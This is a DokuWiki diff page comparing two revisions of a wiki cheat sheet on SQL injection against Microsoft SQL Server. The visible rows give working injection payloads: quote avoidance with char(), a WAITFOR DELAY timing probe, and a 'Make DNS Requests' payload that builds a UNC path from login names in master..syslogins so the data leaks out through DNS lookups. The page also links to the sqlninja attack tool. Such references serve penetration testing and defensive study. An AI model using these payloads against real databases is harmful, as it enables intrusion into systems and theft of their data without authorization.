hacking:sql_injection_cheat_sheet_mssql

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
hacking:sql_injection_cheat_sheet_mssql [2020/04/01 10:07] peterhacking:sql_injection_cheat_sheet_mssql [2020/07/15 09:30] (current) – external edit 127.0.0.1
Line 61: Line 61:
 |Avoiding Quotes|SELECT char(65)+char(66) -- returns AB| |Avoiding Quotes|SELECT char(65)+char(66) -- returns AB|
 |Time Delay|WAITFOR DELAY '0:0:5' -- pause for 5 seconds| |Time Delay|WAITFOR DELAY '0:0:5' -- pause for 5 seconds|
-|xxx|<code> 
-[[http://sqlninja.sourceforge.net/sqlninja-howto.html|sqlninja]] 
-</code>| 
 |Make DNS Requests|<code> |Make DNS Requests|<code>
 declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails ''\\' + @host + '\c$\boot.ini'''); -- nonpriv, works on 2000 declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails ''\\' + @host + '\c$\boot.ini'''); -- nonpriv, works on 2000
Line 98: Line 95:
 tempdb tempdb
 </code>| </code>|
 +
 +----
 +
 +===== References =====
 +
 +https://www.michaelboman.org/books/sql-injection-cheat-sheet-mssql
  
hacking/sql_injection_cheat_sheet_mssql.1585735644.txt.gz · Last modified: 2020/07/15 09:30 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki